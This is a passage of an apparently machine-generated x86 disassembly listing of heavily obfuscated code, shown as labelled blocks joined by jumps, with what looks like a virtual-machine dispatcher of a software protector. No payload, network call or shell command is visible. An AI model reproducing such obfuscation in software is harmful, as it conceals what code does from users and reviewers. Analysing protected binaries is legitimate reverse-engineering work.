--------------------------------------------------------------------------- loc_58F9DD: ; CODE XREF: sub_57DD3A+24ED9j pop ecx add edx, 37952DD3h jmp loc_593151 ; --------------------------------------------------------------------------- loc_58F9E9: ; CODE XREF: sub_57DD3A+1EE69j pop ebp add ebx, 2 jmp loc_596EA1 ; --------------------------------------------------------------------------- loc_58F9F5: ; CODE XREF: sub_57DD3A+14777j pop edx jmp loc_59D299 ; --------------------------------------------------------------------------- loc_58F9FB: ; CODE XREF: sub_57DD3A+12293j xor ecx, 2C115F75h jmp loc_596215 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp+0], eax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_58FA14: ; CODE XREF: sub_57DD3A+1883Bj mov al, 89h and al, 0F6h jmp loc_59B615 ; --------------------------------------------------------------------------- loc_58FA1D: ; CODE XREF: sub_57DD3A+14A9Dj mov edi, 5993E1Dh mov ebx, 4C2F191Dh shl ebx, 1 jmp loc_597439 ; --------------------------------------------------------------------------- loc_58FA2E: ; CODE XREF: sub_57DD3A+1D8A6j push esi mov esi, 5E71231Fh shr esi, 3 push ebp mov ebp, 14992821h xor esi, ebp pop ebp shl esi, 1 jmp loc_58E837 ; --------------------------------------------------------------------------- loc_58FA47: ; CODE XREF: sub_57DD3A+1CB5Ej push ecx jmp loc_59A4B0 ; --------------------------------------------------------------------------- loc_58FA4D: ; CODE XREF: sub_57DD3A+1773Ej mov [esp+0Ch+var_E+2], ebx push edi push 6E161E22h mov edi, [esp+14h+var_16+2] add esp, 4 xor edi, 29812A92h jmp loc_596A6B ; --------------------------------------------------------------------------- loc_58FA6A: ; CODE XREF: sub_57DD3A+14159j push eax push esi mov esi, 145C11BAh jmp loc_59108B ; --------------------------------------------------------------------------- loc_58FA76: ; CODE XREF: sub_57DD3A+152E7j mov [esp+18h+var_1A+2], esp push eax mov eax, 4 jmp loc_58E5ED ; --------------------------------------------------------------------------- loc_58FA84: ; CODE XREF: sub_57DD3A+1DDF8j pop esi add esi, 4 push edx jmp loc_58EF86 ; --------------------------------------------------------------------------- loc_58FA91: ; CODE XREF: sub_57DD3A+24998j sub ebp, 4 sub esp, 4 jmp loc_5A1331 ; --------------------------------------------------------------------------- loc_58FA9F: ; CODE XREF: sub_57DD3A+24132j add ebx, 56B06FE9h mov esi, [esp+20h+var_22+2] push edx push esp mov edx, [esp+28h+var_2A+2] add esp, 4 push eax mov eax, 4DD83FF9h jmp loc_59AC83 ; --------------------------------------------------------------------------- loc_58FABB: ; CODE XREF: sub_57DD3A+1E249j sub dh, 0DFh mov eax, [esp+28h+var_2A+2] add esp, 4 xor dh, 91h add ah, dh mov edx, [esp+24h+var_26+2] add esp, 4 xor ah, 90h jmp loc_59F027 ; --------------------------------------------------------------------------- loc_58FAD7: ; CODE XREF: sub_57DD3A+1CC05j shl al, 3 sub al, 0A9h xor al, 21h add bh, al pop eax add bh, 0E5h add bh, 0E7h xor dh, bh pop ebx sub al, 0EFh sub al, 0CDh add al, dh add al, 0CDh add al, 0EFh jmp loc_5943D5 ; --------------------------------------------------------------------------- loc_58FAF9: ; CODE XREF: sub_57DD3A+1EE2Fj mov [esp+18h+var_1A+2], edx mov edx, esp push ebx push 0F1Eh jmp loc_5A0BAF ; --------------------------------------------------------------------------- loc_58FB09: ; CODE XREF: sub_57DD3A+16054j add esi, ebp mov ebp, [esp+20h+var_22+2] add esp, 4 xor esi, [esp+1Ch+var_1E+2] xor [esp+1Ch+var_1E+2], esi xor esi, [esp+1Ch+var_1E+2] mov esp, [esp+1Ch+var_1E+2] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_58FB22: ; CODE XREF: sub_57DD3A+22DD9j xor ecx, eax xor eax, ecx jmp loc_5990D4 ; --------------------------------------------------------------------------- loc_58FB2B: ; CODE XREF: sub_57DD3A+179F5j pop esi push ecx mov ecx, 1C556597h not ecx sub ecx, 5FD70F08h dec ecx xor ecx, 0D468C94Ch jmp loc_59121D ; --------------------------------------------------------------------------- loc_58FB46: ; CODE XREF: sub_57DD3A+1F3D1j xor dl, 56h add bl, dl pop edx jmp loc_59768D ; --------------------------------------------------------------------------- loc_58FB51: ; CODE XREF: sub_57DD3A+1124Dj mov ebp, 4 mov edx, ebp pop ebp add esi, edx mov edx, [esp+36h+var_36] add esp, 4 jmp loc_5A06C6 ; --------------------------------------------------------------------------- loc_58FB69: ; CODE XREF: sub_57DD3A+204A4j sub esp, 4 mov [esp+36h+var_36], edx mov edx, esp sub esp, 4 jmp loc_59980C ; --------------------------------------------------------------------------- loc_58FB7F: ; CODE XREF: sub_57DD3A+14B18j pop ecx pop esi mov eax, [esp+32h+var_32] push ebp push esp jmp loc_590882 ; --------------------------------------------------------------------------- loc_58FB8B: ; CODE XREF: sub_57DD3A+1EFA6j push ebp jmp loc_59D867 ; --------------------------------------------------------------------------- loc_58FB91: ; CODE XREF: sub_57DD3A+17D17j push ebp jmp loc_592FBF ; --------------------------------------------------------------------------- loc_58FB97: ; DATA XREF: sub_57DD3A+105CAo mov cx, word ptr [esp+42h+var_42] push eax push esp pop eax jmp loc_5927F5 ; --------------------------------------------------------------------------- loc_58FBA3: ; CODE XREF: sub_57DD3A+1B844j push [esp+46h+var_46] pop eax push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+4Ah+var_4C+2] mov esp, [esp+4Ah+var_4C+2] push 0A6Fh mov [esp+4Eh+var_50+2], ecx push edx mov edx, 6B6A00CFh mov ecx, edx jmp loc_594B19 ; --------------------------------------------------------------------------- loc_58FBCF: ; CODE XREF: sub_57DD3A+225B2j and ah, 0BDh add ah, 4 xor ch, ah pop eax push eax mov ah, ch mov dl, ah pop eax pop ecx add bl, dl pop dx movzx eax, al push dword ptr [edi+eax*4] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_58FBEE: ; CODE XREF: sub_57DD3A+10631j push 4270h jmp loc_595969 ; --------------------------------------------------------------------------- loc_58FBF8: ; CODE XREF: sub_57DD3A+10D59j push esi push [esp+1Ch+var_1A+2] pop esi pop [esp+1Ch+var_1E+2] jmp loc_59E555 ; --------------------------------------------------------------------------- loc_58FC06: ; CODE XREF: sub_57DD3A+1C67Bj mov esi, 1 push esi add [esp+1Ch+var_1E+2], 7756554Fh mov edx, [esp+1Ch+var_1E+2] add esp, 4 jmp loc_5A14BF ; --------------------------------------------------------------------------- loc_58FC21: ; CODE XREF: sub_57DD3A+12636j push ebx mov bh, 35h add byte ptr [esp+1Ch+var_1A+2], bh jmp loc_5A02CE ; --------------------------------------------------------------------------- loc_58FC2D: ; CODE XREF: sub_57DD3A+1B521j pop esi jmp loc_5A2275 ; --------------------------------------------------------------------------- loc_58FC33: ; CODE XREF: sub_57DD3A+155EBj push ecx mov ecx, 1A3C5321h jmp loc_59102B ; --------------------------------------------------------------------------- loc_58FC3E: ; CODE XREF: sub_57DD3A+23573j sub ebx, 0C522D1FDh mov ebp, ebx push [esp+1Ch+var_1E+2] pop ebx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp+20h+var_22+2] xor [esp+20h+var_22+2], ecx xor ecx, [esp+20h+var_22+2] pop esp jmp loc_5A0AC0 ; --------------------------------------------------------------------------- loc_58FC68: ; CODE XREF: sub_57DD3A+17E52j add [esp+1Ch+var_1A+2], edx mov edx, [esp+1Ch+var_1E+2] add esp, 4 mov ebx, [esp+18h+var_1A+2] add esp, 4 sub ebx, 6802C5Ah mov edi, [esp+14h+var_16+2] add esp, 4 sub esp, 4 mov [esp+14h+var_16+2], esi mov esi, esp add esi, 4 jmp loc_5A04CF ; --------------------------------------------------------------------------- loc_58FC9A: ; CODE XREF: sub_57DD3A+134BCj mov eax, [esp+14h+var_16+2] add esp, 4 add esp, 4 jmp loc_5986D6 ; --------------------------------------------------------------------------- loc_58FCAB: ; CODE XREF: sub_57DD3A+20C39j pop ecx jmp loc_596BEF ; --------------------------------------------------------------------------- loc_58FCB1: ; CODE XREF: sub_57DD3A+1C01Aj not bl jmp loc_594FB4 ; --------------------------------------------------------------------------- loc_58FCB8: ; CODE XREF: sub_57DD3A+10863j pop [esp+18h+var_1A+2] jmp loc_5A15A6 ; --------------------------------------------------------------------------- loc_58FCC0: ; CODE XREF: sub_57DD3A+1C771j mov esi, 47FD061Eh jmp loc_59FCBB ; --------------------------------------------------------------------------- loc_58FCCA: ; CODE XREF: sub_57DD3A+1C366j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+14h+var_16+2] pop esp jmp loc_595CC7 ; --------------------------------------------------------------------------- loc_58FCE1: ; CODE XREF: sub_57DD3A+1F9C4j mov esi, 4 add [esp+10h+var_E+2], esi jmp loc_59DFDD ; --------------------------------------------------------------------------- loc_58FCEF: ; CODE XREF: sub_57DD3A+16993j mov ebx, 15751796h shl ebx, 2 add ebx, 4781445Dh sub ebx, 0D69BC247h jmp loc_5959E9 ; --------------------------------------------------------------------------- loc_58FD08: ; CODE XREF: sub_57DD3A+18505j sub ebp, 553F5161h add ebp, esi push edx mov edx, 0BB03B0h sub edx, 469C4E08h jmp loc_5A23A5 ; --------------------------------------------------------------------------- loc_58FD21: ; CODE XREF: sub_57DD3A+17BE7j pop edx jmp loc_59A49A ; --------------------------------------------------------------------------- loc_58FD27: ; CODE XREF: sub_57DD3A+18EF9j xor edi, [esp+10h+var_12+2] xor [esp+10h+var_12+2], edi xor edi, [esp+10h+var_12+2] pop esp jmp loc_591BEA ; --------------------------------------------------------------------------- loc_58FD36: ; CODE XREF: sub_57DD3A+1157Ej add ebp, ecx pop ecx jmp loc_59B911 ; --------------------------------------------------------------------------- loc_58FD3E: ; CODE XREF: sub_57DD3A+20930j add ecx, 4 add ecx, 4 xchg ecx, [esp+2Eh+var_2E] jmp loc_591414 ; --------------------------------------------------------------------------- loc_58FD4F: ; CODE XREF: sub_57DD3A+1990Bj sub al, 0EBh push [esp+2Eh+var_2E] jmp loc_594667 ; --------------------------------------------------------------------------- loc_58FD59: ; CODE XREF: sub_57DD3A+1E586j push 239Ch mov [esp+36h+var_36], esp push eax jmp loc_592F8C ; --------------------------------------------------------------------------- loc_58FD67: ; CODE XREF: sub_57DD3A+1EAF3j add esp, 4 dec edi sub edi, 33E29CB5h mov ebp, edi push [esp+36h+var_36] push [esp+3Ah+var_3A] pop edi add esp, 4 add esp, 4 push ebx mov ebx, 5DE31A77h neg ebx xor ebx, 0BE0C8C7Eh jmp loc_598B10 ; --------------------------------------------------------------------------- loc_58FD93: ; CODE XREF: sub_57DD3A+21211j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+3Ah+var_3A] pop esp jmp loc_59CFB7 ; --------------------------------------------------------------------------- loc_58FDA8: ; CODE XREF: sub_57DD3A+20E84j xor ecx, 37E1A71h add ecx, 2FE1014h jmp loc_59B212 ; --------------------------------------------------------------------------- loc_58FDB9: ; CODE XREF: sub_57DD3A+1CCB4j push edi mov edi, 4 jmp loc_5A27FC ; --------------------------------------------------------------------------- loc_58FDC4: ; CODE XREF: sub_57DD3A+1BF5Aj add esi, edi pop edi push ecx mov ecx, 4 add esi, ecx pop ecx xchg esi, [esp+36h+var_36] mov esp, [esp+36h+var_36] shr ecx, 6 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+3Ah+var_3A] pop esp mov [esp+36h+var_36], ebx push esp pop ebx add ebx, 4 jmp loc_59E59B ; --------------------------------------------------------------------------- loc_58FDFA: ; CODE XREF: sub_57DD3A+16A6Fj add ebp, ecx pop ecx jmp loc_59D96A ; --------------------------------------------------------------------------- loc_58FE02: ; CODE XREF: sub_57DD3A+14C02j push edx mov edx, 5FD000C9h add edx, 5A5B508Bh sub edx, 0BA2B5150h add ecx, edx pop edx sub esp, 4 mov [esp+36h+var_36], ecx push [esp+36h+var_32] pop ecx pop [esp+36h+var_36] pop esp jmp loc_59289D ; --------------------------------------------------------------------------- loc_58FE2B: ; CODE XREF: sub_57DD3A+13176j add edi, edx pop edx xchg edi, [esp+2Ah+var_2A] pop esp push ebp mov ebp, 4 jmp loc_5A2940 ; --------------------------------------------------------------------------- loc_58FE3D: ; CODE XREF: sub_57DD3A+11B07j mov ebp, [esp+80h+var_80] jmp loc_58E9C9 ; --------------------------------------------------------------------------- loc_58FE45: ; CODE XREF: sub_57DD3A+216FAj xor dh, 0DEh jmp loc_59FF08 ; --------------------------------------------------------------------------- loc_58FE4D: ; CODE XREF: sub_57DD3A+22790j add edx, 4 jmp loc_59ADF6 ; --------------------------------------------------------------------------- loc_58FE55: ; CODE XREF: sub_57DD3A+10D0Bj mov edi, 713C7991h xor edi, 36C7233Ch push esi mov esi, 56A62F36h and edi, esi jmp loc_59A2A1 ; --------------------------------------------------------------------------- loc_58FE6D: ; CODE XREF: sub_57DD3A+20714j add esp, 4 add [esp+10h+var_E+2], 3EFD2530h sub [esp+10h+var_E+2], 0F947751h jmp loc_595BF4 ; --------------------------------------------------------------------------- loc_58FE85: ; CODE XREF: sub_57DD3A+1172Cj mov ecx, esp push esi mov esi, 467E4874h sub esi, 467E4870h add ecx, esi mov esi, [esp+50h+var_50] add esp, 4 add ecx, 4 xchg ecx, [esp+4Ch+var_4C] pop esp loc_58FEA2: ; CODE XREF: sub_57DD3A+1A1D6j push 5F34h mov [esp+4Ch+var_4C], ebx push [esp+4Ch+var_4C] jmp loc_593691 ; --------------------------------------------------------------------------- loc_58FEB2: ; CODE XREF: sub_57DD3A+2089Fj mov edi, [esp+50h+var_50] add esp, 4 jmp loc_5950EE ; --------------------------------------------------------------------------- neg byte ptr [esp+4Ch+var_4C] pushf jmp loc_59733F ; --------------------------------------------------------------------------- loc_58FEC9: ; CODE XREF: sub_57DD3A+1B2FEj pop edi mov ebp, edi pop edi xor ecx, ebp pop ebp mov ebx, ecx jmp loc_596B50 ; --------------------------------------------------------------------------- loc_58FED7: ; CODE XREF: sub_57DD3A+16B81j mov ecx, [esp+44h+var_46+2] jmp loc_59D4DC ; --------------------------------------------------------------------------- loc_58FEDF: ; CODE XREF: sub_57DD3A+1D061j pop esp jmp loc_5932EC ; --------------------------------------------------------------------------- loc_58FEE5: ; CODE XREF: sub_57DD3A+183AEj movzx eax, al lea eax, [edi+eax*4] jmp loc_596C18 ; --------------------------------------------------------------------------- loc_58FEF0: ; CODE XREF: sub_57DD3A+13CAEj push esi push edx push 42983296h pop edx push ebp mov ebp, 4141299Bh jmp loc_59D204 ; --------------------------------------------------------------------------- loc_58FF03: ; CODE XREF: sub_57DD3A+134ECj push 2551h mov [esp+50h+var_50], ecx mov ecx, 6D8D42C9h shr ecx, 3 push esi mov esi, 65228F68h add ecx, esi pop esi add edi, 45C82FE7h jmp loc_5994F0 ; --------------------------------------------------------------------------- loc_58FF27: ; CODE XREF: sub_57DD3A+20913j pop esi sub edi, 43625318h jmp loc_59F01F ; --------------------------------------------------------------------------- loc_58FF33: ; CODE XREF: sub_57DD3A+1CB9Fj pop ecx add edi, 2 xor edi, [esp+0] xor [esp+0], edi xor edi, [esp+0] mov esp, [esp+0] mul cx push eax jmp loc_58EE22 ; --------------------------------------------------------------------------- loc_58FF4F: ; CODE XREF: sub_57DD3A+1503Fj sub esi, 6AD75188h mov edx, [esp+4Ch+var_4C] sub esp, 4 mov [esp+50h+var_50], ecx mov ecx, esp add ecx, 4 push edi mov edi, 4 add ecx, 7735539Dh add ecx, edi sub ecx, 7735539Dh pop edi jmp loc_5966A7 ; --------------------------------------------------------------------------- loc_58FF80: ; CODE XREF: sub_57DD3A+252CFj push edx mov dh, 8Eh xor dh, 89h add dh, 7Bh sub al, dh pop edx xor al, 4Fh jmp loc_5A1AA8 ; --------------------------------------------------------------------------- loc_58FF93: ; CODE XREF: sub_57DD3A+203E5j add eax, ebx jmp loc_593E88 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+50h+var_50] push 3973h mov [esp+54h+var_54], ecx jmp loc_593AD8 ; --------------------------------------------------------------------------- loc_58FFAB: ; CODE XREF: sub_57DD3A+236CEj mov [esp+54h+var_54], ebp jmp loc_596D45 ; --------------------------------------------------------------------------- loc_58FFB3: ; CODE XREF: sub_57DD3A+1F151j xor ecx, edi mov edi, [esp+54h+var_54] add esp, 4 sub ecx, 0DA152FBh xor ecx, 36687DC0h or ecx, 6D622074h jmp loc_58F9FB ; --------------------------------------------------------------------------- loc_58FFD2: ; CODE XREF: sub_57DD3A+145FFj pop esi or edi, 190926E7h shr edi, 8 jmp loc_58F089 ; --------------------------------------------------------------------------- loc_58FFE1: ; CODE XREF: sub_57DD3A+172CEj add esp, 4 sub eax, edi add eax, 4F5F529Ah pop edi push esi jmp loc_591E40 ; --------------------------------------------------------------------------- loc_58FFF2: ; CODE XREF: sub_57DD3A+24AACj pop esi push eax mov eax, 9120146h or eax, 30D071FEh shr eax, 6 jmp loc_59CFE3 ; --------------------------------------------------------------------------- loc_590006: ; CODE XREF: sub_57DD3A+1EF93j pop ebx sub edx, edi jmp loc_59EE90 ; --------------------------------------------------------------------------- loc_59000E: ; CODE XREF: sub_57DD3A+16AFEj push ebx mov ebx, 746C27AFh shr ebx, 8 not ebx add ebx, 59723D20h jmp loc_59E050 ; --------------------------------------------------------------------------- loc_590024: ; CODE XREF: sub_57DD3A+20381j mov [esp+0], ebx jmp loc_59358B ; --------------------------------------------------------------------------- loc_59002C: ; CODE XREF: sub_57DD3A+23839j push eax jmp loc_59C57C ; --------------------------------------------------------------------------- loc_590032: ; CODE XREF: sub_57DD3A+10D1Dj pop ebp push eax push 4 pop eax jmp loc_59A86A ; --------------------------------------------------------------------------- loc_59003F: ; CODE XREF: sub_57DD3A+12F56j mov ebx, 190169ACh shr ebx, 5 push eax mov eax, 247349Fh shr eax, 5 or eax, 54F7000Eh add eax, 1F93F70Bh jmp loc_59AADF ; --------------------------------------------------------------------------- loc_59005F: ; CODE XREF: sub_57DD3A+2255Fj mov ebp, 8A38066h sub esi, ebp pop ebp add ecx, esi pop esi and eax, ecx push [esp+14h+var_16+2] pop ecx jmp loc_59D323 ; --------------------------------------------------------------------------- loc_590075: ; CODE XREF: sub_57DD3A+10CEBj jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59007A: ; CODE XREF: sub_57DD3A+21509j add ebp, 4 sub esp, 4 mov [esp+6+var_8+2], eax sub esp, 4 mov [esp+0], esi mov esi, 763A4EC1h push 3398h jmp loc_5908FE ; --------------------------------------------------------------------------- loc_5900A1: ; CODE XREF: sub_57DD3A+113F2j pop edx sub esp, 4 mov [esp+42h+var_42], eax mov eax, ebx mov ebp, eax pop eax pop ebx sub ebp, 27E55A4Bh jmp loc_5978AE ; --------------------------------------------------------------------------- mov ax, word ptr [esp+3Ah+var_3A] push 3779h mov [esp+3Eh+var_3E], ebp mov ebp, esp jmp loc_59122B ; --------------------------------------------------------------------------- loc_5900CF: ; CODE XREF: sub_57DD3A+1C029j mov esi, 29C03E58h add edx, esi mov esi, [esp+3Eh+var_3E] jmp loc_598167 ; --------------------------------------------------------------------------- loc_5900DE: ; CODE XREF: sub_57DD3A+1C5A9j pop esp sub esp, 4 mov [esp+3Eh+var_3E], ebx push esp jmp loc_59C46C ; --------------------------------------------------------------------------- loc_5900EE: ; CODE XREF: sub_57DD3A+1D627j add [esp+42h+var_3E], edx add [esp+42h+var_3E], 1634CCAh pop edx mov edi, [esp+3Eh+var_3E] add esp, 4 jmp loc_596A5A ; --------------------------------------------------------------------------- loc_590106: ; CODE XREF: sub_57DD3A+23333j push 1E11h jmp loc_594E35 ; --------------------------------------------------------------------------- loc_590110: ; CODE XREF: sub_57DD3A+1144Dj mov [esp+56h+var_58+2], ebx mov ebx, 1F1A425Bh jmp loc_59DE37 ; --------------------------------------------------------------------------- loc_59011D: ; CODE XREF: sub_57DD3A+1E6B5j pop edx add edx, 4 push esi mov esi, 4 add edx, 43357708h add edx, esi sub edx, 43357708h pop esi jmp loc_58F7A9 ; --------------------------------------------------------------------------- loc_59013E: ; CODE XREF: sub_57DD3A+23F91j push 436A3E0Fh pop edi push edx jmp loc_596512 ; --------------------------------------------------------------------------- loc_59014A: ; CODE XREF: sub_57DD3A+24BA3j push edx push 5AE00C85h mov edx, [esp+5Eh+var_60+2] jmp loc_592C3A ; --------------------------------------------------------------------------- loc_590158: ; CODE XREF: sub_57DD3A+1DF70j pop edi sub edi, ecx pop ecx add edi, 9DD635DBh mov esi, edi mov edi, [esp+56h+var_58+2] add esp, 4 sub esi, 0FFFFFFFFh jmp loc_5A1697 ; --------------------------------------------------------------------------- loc_590175: ; CODE XREF: sub_57DD3A+14ADEj pop eax add bl, ch mov cx, word ptr [esp+4Eh+var_50+2] jmp loc_59F22C ; --------------------------------------------------------------------------- loc_590181: ; CODE XREF: sub_57DD3A+23779j add esp, 4 sub eax, 0C80F22B5h add esi, eax pop eax add esi, 5E3651D6h pop edi xchg esi, [esp+42h+var_42] pop esp push 6A55h jmp loc_59083F ; --------------------------------------------------------------------------- loc_5901A1: ; CODE XREF: sub_57DD3A+2405Bj neg ah not ah add ah, 0A2h jmp loc_59A931 ; --------------------------------------------------------------------------- loc_5901AD: ; CODE XREF: sub_57DD3A+1CDCDj xor esi, ebx pop ebx jmp loc_59EFD0 ; --------------------------------------------------------------------------- loc_5901B5: ; CODE XREF: sub_57DD3A+19D75j xchg edx, [esp+3Eh+var_3E] mov ebp, [esp+3Eh+var_3E] add esp, 4 push ebp push [esp+3Eh+var_3A] pop ebp jmp loc_591B6D ; --------------------------------------------------------------------------- loc_5901C9: ; CODE XREF: sub_57DD3A+1B46Dj xor edi, 0BA5A2CD9h add ebx, edi pop edi jmp loc_595404 ; --------------------------------------------------------------------------- loc_5901D7: ; CODE XREF: sub_57DD3A+19185j push 4AC62DC2h pop ecx or ecx, 2B0F40B0h dec ecx inc ecx sub ecx, 6672679Ah mov edi, ecx pop ecx or edi, 3D8654Ah xor edi, 133E0D9Dh sub eax, edi pop edi shl eax, 5 not eax inc eax sub eax, 39508810h sub edx, 5B85061Bh sub edx, eax add edx, 5B85061Bh mov eax, [esp+32h+var_32] add esp, 4 push ebp mov ebp, esp jmp loc_596993 ; --------------------------------------------------------------------------- loc_590227: ; CODE XREF: sub_57DD3A+245E4j push [esp+32h+var_2E] mov ecx, [esp+36h+var_36] add esp, 4 pop [esp+32h+var_32] pop esp push edx mov edx, esp add edx, 4 jmp loc_598DF1 ; --------------------------------------------------------------------------- loc_590246: ; CODE XREF: sub_57DD3A+22EF0j add dh, 0F6h sub al, dh jmp loc_593C8C ; --------------------------------------------------------------------------- push [esp+2Eh+var_2E] mov eax, [esp+32h+var_32] jmp loc_595201 ; --------------------------------------------------------------------------- loc_59025B: ; CODE XREF: sub_57DD3A+22FFBj push ecx push esp pop ecx push eax mov eax, 66F24F74h xor eax, 121A5BDAh or eax, 2C8F026Ch add eax, 627440A8h xor eax, 62B36D35h sub eax, 0BDD03A9Fh add ecx, eax pop eax add ecx, 4 xchg ecx, [esp+36h+var_36] pop esp sub esp, 4 jmp loc_5A0B9B ; --------------------------------------------------------------------------- loc_59028F: ; CODE XREF: sub_57DD3A+1DEB0j mov edx, 1E20906h sub eax, 25310E70h sub eax, edx add eax, 25310E70h mov edx, [esp+36h+var_36] jmp loc_59C59D ; --------------------------------------------------------------------------- loc_5902A8: ; CODE XREF: sub_57DD3A+22F01j xchg edx, [esp+36h+var_36] push [esp+36h+var_36] pop ebx add esp, 4 push edx mov edx, 7A3F1FE3h sub ebx, edx pop edx or ebx, 6BFE5338h add ebx, 3507BF9Dh jmp loc_59FDF7 ; --------------------------------------------------------------------------- loc_5902CC: ; CODE XREF: sub_57DD3A+1A191j mov [esp+32h+var_32], ebp mov edx, [esp+32h+var_32] add esp, 4 push [esp+2Eh+var_2E] pop ebp jmp loc_59AC2B ; --------------------------------------------------------------------------- loc_5902E1: ; CODE XREF: sub_57DD3A+20A83j mov edx, 221A076Eh xor esi, edx pop edx sub ecx, esi pop esi add ecx, ebx push esi jmp loc_58F61A ; --------------------------------------------------------------------------- loc_5902F4: ; CODE XREF: sub_57DD3A+20593j push 3BFEh mov [esp+2Eh+var_2E], ecx sub esp, 4 mov [esp+32h+var_32], ebx push edi mov edi, 781C6A36h sub [esp+36h+var_32], edi mov edi, [esp+36h+var_36] add esp, 4 push [esp+32h+var_32] pop ecx push ecx push esp jmp loc_59AC25 ; --------------------------------------------------------------------------- loc_590320: ; CODE XREF: sub_57DD3A+10CE2j push esp pop [esp+8+var_8] push ecx mov ecx, 4 add [esp+8+var_4], ecx pop ecx mov edi, [esp+4+var_4] add esp, 4 push 0B7Dh mov [esp+4+var_4], eax jmp loc_596F8F ; --------------------------------------------------------------------------- loc_590345: ; CODE XREF: sub_57DD3A+2226Fj pop eax mov ebx, [esp+0] add esp, 4 add dh, 1 push ax mov ah, 6Bh xor dh, ah pop ax shr dh, 6 xor dh, 11h jmp loc_59F147 ; --------------------------------------------------------------------------- loc_590365: ; CODE XREF: sub_57DD3A+22BEAj add byte ptr [esp-4+arg_0], 48h sub byte ptr [esp-4+arg_0], 35h sub byte ptr [esp-4+arg_0], ah jmp loc_58FC21 ; --------------------------------------------------------------------------- loc_590375: ; CODE XREF: sub_57DD3A+21705j add edx, edi pop edi sub edx, 2 xchg edx, [esp+0] mov esp, [esp+0] mov [esp+0], ax jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59038A: ; CODE XREF: sub_57DD3A+1E7F8j mov ecx, 0E5ED2762h add esi, ecx pop ecx push esi jmp loc_59F8C0 ; --------------------------------------------------------------------------- loc_590398: ; CODE XREF: sub_57DD3A+14BD3j xor [esp+0], edx xor edx, [esp+0] mov esp, [esp+0] btc [esp+0], ax pushf jmp loc_594631 ; --------------------------------------------------------------------------- loc_5903AC: ; CODE XREF: sub_57DD3A+1519Dj sub ebp, 1 xor edx, ebp xor ebp, edx jmp loc_593D7D ; --------------------------------------------------------------------------- loc_5903B8: ; CODE XREF: sub_57DD3A+1B0D5j mov ebx, esp push edi mov edi, 3DC101B5h inc edi push edx mov edx, 5C981495h and edx, 3B453351h jmp loc_5A324A ; --------------------------------------------------------------------------- loc_5903D2: ; CODE XREF: sub_57DD3A+24E45j add ebp, esi pop esi push ebx mov ebx, 4 jmp loc_5934B8 ; --------------------------------------------------------------------------- loc_5903E0: ; CODE XREF: sub_57DD3A+143E5j push dword ptr [esp+4] pop esi pop [esp+4+var_4] mov esp, [esp+0] push 13EAh mov [esp+4+var_4], eax mov eax, esp add eax, 4 push edi jmp loc_592FAC ; --------------------------------------------------------------------------- loc_590400: ; CODE XREF: sub_57DD3A+1D1D9j sub al, ch push cx mov ch, 0F2h sub al, ch mov cx, [esp+0] add esp, 2 push ebx jmp loc_596BF5 ; --------------------------------------------------------------------------- loc_590415: ; CODE XREF: sub_57DD3A+1A03Ej mov dx, [esp+0] add esp, 2 push ecx mov ch, 4Bh add bl, ch pop ecx add bl, 0A3h sub bl, 85h add bl, al add bl, 85h sub bl, 0A3h push 7E6Eh mov [esp+0], edx mov dh, 33h sub esp, 4 mov [esp+0Eh+var_E], eax mov al, 2 or dh, al push [esp+0Eh+var_E] pop eax push ecx jmp loc_599C0C ; --------------------------------------------------------------------------- loc_59044E: ; CODE XREF: sub_57DD3A+17A17j push 28F6h mov [esp+16h+var_16], edi mov edi, 69F06561h jmp loc_59EF36 ; --------------------------------------------------------------------------- loc_590460: ; CODE XREF: sub_57DD3A+17F0Ej mov ebx, 6F251F05h xor ebx, 7BB93D2Dh or edx, ebx pop ebx jmp loc_59F3E9 ; --------------------------------------------------------------------------- loc_590473: ; CODE XREF: sub_57DD3A+22015j push [esp+12h+var_12] mov edx, [esp] add esp, 4 add esp, 4 jmp loc_5A20F0 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+0Eh+var_E] push 50F4h mov [esp+12h+var_12], esi push esp pop esi push edi mov edi, 4 add esi, edi pop edi push ebp push edx push ecx jmp loc_59C72F ; --------------------------------------------------------------------------- loc_5904A3: ; CODE XREF: sub_57DD3A+14BADj push 67E0h mov [esp+22h+var_22], edx mov edx, 1FF854EBh mov edi, 0FD71B0Eh xor edi, edx push [esp+22h+var_22] pop edx add esp, 4 jmp loc_597139 ; --------------------------------------------------------------------------- loc_5904C3: ; CODE XREF: sub_57DD3A+1FD1Fj xchg esi, [esp+1Eh+var_1E] pop ebp neg ebp xor ebp, 1FB4033Eh jmp loc_590F90 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5904DB: ; CODE XREF: sub_57DD3A+22EA6j add edi, 4 xchg edi, [esp+16h+var_16] pop esp push edi push [esp+16h+var_12] mov edi, [esp+1Ah+var_1A] jmp loc_5A01E6 ; --------------------------------------------------------------------------- loc_5904F2: ; CODE XREF: sub_57DD3A+1A404j and edx, 7E9577CDh sub esp, 4 mov [esp+1Eh+var_1E], edx not [esp+1Eh+var_1E] pop edx push ebx jmp loc_59EAD7 ; --------------------------------------------------------------------------- loc_590508: ; CODE XREF: sub_57DD3A+18EB0j push eax jmp loc_5A2B3F ; --------------------------------------------------------------------------- loc_59050E: ; CODE XREF: sub_57DD3A+19338j pop edx xor dh, al mov ax, word ptr [esp+1Eh+var_1E] push eax mov eax, esp add eax, 4 add eax, 2 xchg eax, [esp+22h+var_22] pop esp jmp loc_59BE4F ; --------------------------------------------------------------------------- loc_590529: ; CODE XREF: sub_57DD3A+18EC4j push esi jmp loc_59F1E5 ; --------------------------------------------------------------------------- loc_59052F: ; CODE XREF: sub_57DD3A+1B40Dj mov si, 2248h xor bp, si pop si sub bp, 4B84h add bp, 99DFh and dx, bp pop ebp sub dx, 49B1h push dx xchg dx, word ptr [esp+1Eh+var_1E] not dx xchg dx, word ptr [esp+1Eh+var_1E] pop dx push bp mov bp, 33D4h and bp, 42A4h dec bp 